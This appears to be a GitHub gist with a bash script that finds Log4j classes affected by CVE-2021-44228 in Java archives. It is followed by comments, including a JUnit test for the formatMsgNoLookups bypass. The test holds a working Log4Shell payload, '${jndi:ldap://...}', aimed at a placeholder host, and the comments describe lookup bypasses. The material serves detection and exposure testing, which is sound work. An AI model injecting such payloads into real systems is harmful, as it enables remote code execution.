-
-
Save righettod/ce1570954242de2f8772c6f25eece77d to your computer and use it in GitHub Desktop.
#!/bin/bash | |
######################################################################################################### | |
# Script to identify Log4J affected class for CVE-2021-44228 in a collection of EAR/WAR/JAR files | |
# Based on this script: | |
# https://github.com/righettod/toolbox-pentest-web/blob/master/scripts/identify-class-location.sh | |
######################################################################################################### | |
if [ "$#" -lt 1 ]; then | |
script_name=$(basename "$0") | |
echo "Usage:" | |
echo " $script_name [BASE_SEARCH_FOLDER]" | |
echo "" | |
echo "Call example:" | |
echo " $script_name /apps" | |
exit 1 | |
fi | |
# Constants | |
JAR_FOUND=0 | |
TARGET_CLASS_NAME="org/apache/logging/log4j/core/lookup/JndiLookup.class" | |
APP_LIBS_FOLDER=$1 | |
WORK_FOLDER=/tmp/work | |
JAR_WORK_FOLDER=/tmp/jarwork | |
NESTED_JAR_WORK_FOLDER=/tmp/nestedjarwork | |
CDIR=$(pwd) | |
# See https://unix.stackexchange.com/a/9499 | |
OIFS="$IFS" | |
IFS=$'\n' | |
# Utility functions | |
inspect_folder (){ | |
folder_location=$1 | |
for jar_lib in $(find "$folder_location" -type f -iname "*.jar") | |
do | |
inspect_jar_file "$jar_lib" | |
done | |
} | |
inspect_jar_file(){ | |
jar_file_location=$1 | |
find=$(unzip -l "$jar_file_location" | grep -c "$TARGET_CLASS_NAME") | |
if [ $find -ne 0 ] | |
then | |
JAR_FOUND=1 | |
echo "" | |
echo -e "\e[91m[!] Class found in the file '$jar_file_location'.\e[0m" | |
echo -e "\e[93m[+] Try to find the Maven artefact version...\e[0m" | |
rm -rf "$JAR_WORK_FOLDER" 2>/dev/null | |
mkdir "$JAR_WORK_FOLDER" | |
unzip -q -d "$JAR_WORK_FOLDER" "$jar_file_location" | |
chmod -R +r "$JAR_WORK_FOLDER" | |
cd $JAR_WORK_FOLDER | |
for f in $(grep -r "groupId\s*=\s*org.apache.logging.log4j" *) | |
do | |
file_loc=$(echo $f | cut -d":" -f1) | |
artefact_version=$(grep -Po "version\s*=\s*.*" "$file_loc" | sed 's/version=//g') | |
echo "File : $jar_file_location" | |
echo "Metadata file : $file_loc" | |
echo "Log4J version : $artefact_version" | |
done | |
cd $CDIR | |
rm -rf $JAR_WORK_FOLDER 2>/dev/null | |
fi | |
# Handle nested jar case | |
has_nested_jar=$(unzip -l "$jar_file_location" | grep "\.jar$" | grep -cv "Archive:") | |
if [ $has_nested_jar -ne 0 ] | |
then | |
nestedjar_lib_name="$(basename "$jar_file_location")_$RANDOM" | |
mkdir -p "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" | |
unzip -q -d "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" "$jar_file_location" | |
chmod -R +r "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" | |
inspect_folder "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" | |
fi | |
} | |
echo -e "\e[93m[+] Searching class '$TARGET_CLASS_NAME' across '$APP_LIBS_FOLDER' folder...\e[0m" | |
for lib in $(find "$APP_LIBS_FOLDER" -type f -iname "*.jar" -o -iname "*.war" -o -iname "*.ear") | |
do | |
filename=$(basename "$lib") | |
filename="$filename" | |
extension="${filename##*.}" | |
printf "\r[*] Inspecting file: %-80s" $filename | |
if [ $extension == "ear" ] | |
then | |
rm -rf $WORK_FOLDER 2>/dev/null | |
mkdir $WORK_FOLDER | |
unzip -q -d $WORK_FOLDER "$lib" | |
chmod -R +r $WORK_FOLDER | |
for war_lib in $(find $WORK_FOLDER -type f -iname "*.war") | |
do | |
war_lib_name="$(basename "$war_lib")_$RANDOM" | |
war_lib_folder="$WORK_FOLDER/$war_lib_name" | |
mkdir "$war_lib_folder" | |
unzip -q -d "$war_lib_folder" "$war_lib" | |
chmod -R +r "$war_lib_folder" | |
done | |
inspect_folder "$WORK_FOLDER" | |
rm -rf "$WORK_FOLDER" 2>/dev/null | |
fi | |
if [ $extension == "war" ] | |
then | |
rm -rf $WORK_FOLDER 2>/dev/null | |
war_lib_name="$(basename "$lib")_$RANDOM" | |
war_lib_folder=$WORK_FOLDER/$war_lib_name | |
mkdir -p "$war_lib_folder" | |
unzip -q -d "$war_lib_folder" "$lib" | |
chmod -R +r "$war_lib_folder" | |
inspect_folder "$WORK_FOLDER" | |
rm -rf $WORK_FOLDER 2>/dev/null | |
fi | |
if [ $extension == "jar" ] | |
then | |
inspect_jar_file "$lib" | |
fi | |
done | |
printf "\r%-100s" " " | |
if [ $JAR_FOUND -eq 0 ] | |
then | |
echo -e "\r\e[92m[V] Inspection finished - Class not found!\e[0m\n" | |
else | |
echo -ne "\r\e[91m[!] Inspection finished - Class found!\e[0m\n" | |
fi | |
IFS="$OIFS" | |
rm -rf "$NESTED_JAR_WORK_FOLDER" 2>/dev/null | |
exit $JAR_FOUND |
This is a good method. But, some issues:
It doesn't work on paths with spaces.
It doesn't work on jars nested inside jars. It needs to recursively un-jar. It's not as common to have jars in jars, but can occur, and can be used with a custom ClassLoader.
Unzip can leave file permissions as unreadable by you. Do a chmod +r after unzip.
Note about formatMsgNoLookups bypass
ℹ️ This bypass was bring by the CVE-2021-45046.
Below is a POC from LunaSecIO showing the vulnerability and its exploitation context:
Source: https://twitter.com/LunaSecIO/status/1470871128843251716
A unit tests suite was created and used to perform some tests for the bypass of log4j2.formatMsgNoLookups=true
:
package eu.righettod;
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
import org.apache.logging.log4j.core.appender.ConsoleAppender;
import org.apache.logging.log4j.core.config.Configurator;
import org.apache.logging.log4j.core.config.builder.api.AppenderComponentBuilder;
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilder;
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory;
import org.apache.logging.log4j.core.config.builder.api.RootLoggerComponentBuilder;
import org.apache.logging.log4j.core.config.builder.impl.BuiltConfiguration;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.concurrent.TimeUnit;
/**
* Test suite to ensure that the current version used of log4j-core is not exposed to log4shell vulnerability for CVE-2021-44228
* with the "log4j2.formatMsgNoLookups=true" bypass.
*
* @see "https://www.studytonight.com/post/log4j2-programmatic-configuration-in-java-class"
* @see "https://docs.oracle.com/javase/7/docs/technotes/guides/net/properties.html"
*/
public class Log4ShellExposureTestFormatMsgNoLookupsBypass {
private static final String TEST_PAYLOAD = "${jndi:ldap://donotexists.com/test}";
private static final String TEST_FAILED_MARKER = "Error looking up JNDI resource";
private Logger victim;
private final ByteArrayOutputStream captureStream = new ByteArrayOutputStream();
private final PrintStream currentSystemOut = System.out;
private final PrintStream currentSystemErr = System.err;
@Before
public void testSuiteSetup() throws Exception {
//Capture SystemOut and SystemErr
PrintStream ps = new PrintStream(captureStream);
System.setOut(ps);
System.setErr(ps);
//Set a SOCK nonexistent proxy to prevent any data to be sent out or any call to exit the network
System.setProperty("proxySet", "true");
System.setProperty("socksProxyHost", "10.10.10.10");
System.setProperty("socksProxyPort", "1111");
//Set a quick socket timeout to speed up the test
System.setProperty("sun.net.client.defaultConnectTimeout", "2000");
System.setProperty("sun.net.client.defaultReadTimeout", "2000");
//Setup the logger
ConfigurationBuilder<BuiltConfiguration> builder = ConfigurationBuilderFactory.newConfigurationBuilder();
builder.setStatusLevel(Level.INFO);
builder.setConfigurationName("DefaultLogger");
AppenderComponentBuilder appenderBuilder = builder.newAppender("Console", "CONSOLE");
appenderBuilder.addAttribute("target", ConsoleAppender.Target.SYSTEM_OUT);
appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "${ctx:InsecureVariable} - %m%n"));
RootLoggerComponentBuilder rootLogger = builder.newRootLogger(Level.INFO);
rootLogger.add(builder.newAppenderRef("Console"));
builder.add(appenderBuilder);
builder.add(rootLogger);
//Configurator.reconfigure(builder.build());
//Use this method is reconfigure(() do not exists in the log4j2 tested version
Configurator.initialize(builder.build());
//Enable the security flag
System.setProperty("log4j2.formatMsgNoLookups", "true");
//Setup the logger used
victim = LogManager.getRootLogger();
//Display execution context
System.out.printf("LOG4J2 version: %s\n", victim.getClass().getPackage().getImplementationVersion());
System.out.printf("Java version : %s\n", System.getProperty("java.version"));
}
@After
public void testSuiteFinalize() throws Exception {
//Reset SystemOut and SystemErr to original ones
System.setOut(currentSystemOut);
System.setErr(currentSystemErr);
//Remove the SOCK proxy
System.getProperties().remove("proxySet");
System.getProperties().remove("socksProxyHost");
System.getProperties().remove("socksProxyPort");
//Remove socket timeout
System.getProperties().remove("sun.net.client.defaultConnectTimeout");
System.getProperties().remove("sun.net.client.defaultReadTimeout");
}
@Test
public void testExposure() throws Exception {
//Ensure that the security flag is enabled
Assert.assertNotNull("Flag 'log4j2.formatMsgNoLookups' must be set!", System.getProperty("log4j2.formatMsgNoLookups"));
Assert.assertTrue("Flag 'log4j2.formatMsgNoLookups' must be enabled!", Boolean.parseBoolean(System.getProperty("log4j2.formatMsgNoLookups")));
//Log the payload
ThreadContext.put("InsecureVariable", TEST_PAYLOAD);
victim.info("Triggering...");
//Let's time to logger to write the content to the appender and any JNDI lookup to be attempted
TimeUnit.SECONDS.sleep(10);
//Check if any JNDI lookup tentative was performed
String out = captureStream.toString(StandardCharsets.UTF_8);
//Save the output for ease debugging operations
Files.deleteIfExists(Paths.get("target", "Log4ShellExposureTestMsgNoLookupsBypass.out"));
Files.writeString(Paths.get("target", "Log4ShellExposureTestMsgNoLookupsBypass.out"), out, StandardCharsets.UTF_8, StandardOpenOption.CREATE);
//Apply assertion using the JNDI lookup marker
Assert.assertFalse("JNDI lookup tentative identified, see target/Log4ShellExposureTestMsgNoLookupsBypass.out file for details.", out.contains(TEST_FAILED_MARKER));
}
}
Version 2.14.1 seems to be exposed to the bypass:
Version 2.15.0 do not seems to be exposed to the bypass:
Note that a usage of the printf()
function, like for example victim.printf(Level.INFO,"%s",TEST_PAYLOAD)
, have the same effect that using the ThreadContext
combined with a expression in the log pattern:
On version 2.15.0 - By default:
- JNDI with DNS protocol is not allowed:
- JNDI with LDAP(S) protocol require defining allowed hosts:
Regarding LDAP(S), a bypass of the validation against allowed hosts was identified: https://twitter.com/pwntester/status/1471465662975561734
@tbird5 Thank you very much for the feedback I will work on it to address the issues raised 👍
@tbird5 New version published with the issues mentioned normally fixed (at least using my test cases) 👍
From now I will manage the script and the analysis content here.
It will facilitate the issue handling, sharing, publishing and backup of the content.
Note about the security flags
The following script was created to identify, in which version of Log4j2, the flag
log4j2.formatMsgNoLookups
orlog4j2.enableJndi
were present based on sources provided with complete distribution of Log4J2:Execution against all published releases:
Utility script named test.sh
Execution
So based on the results above:
log4j2.formatMsgNoLookups
can be used on Log4j2 version >= 2.10.0 (source ref).log4j2.enableJndi
can be used on Log4j2 version 2.12.2 and 2.16.0 only (source ref).The following script was created and used in combination of a test Maven project using this test class to identify in which version >= 2.10.0 the flag is
log4j2.formatMsgNoLookups
is effective or not:Script and POM file of the test project:
Execution with the security flag disabled to verify that the unit test is OK:
Execution with the security flag enabled to see the protection state:
So based on the results above: The flag is effective on versions >= 2.10.0.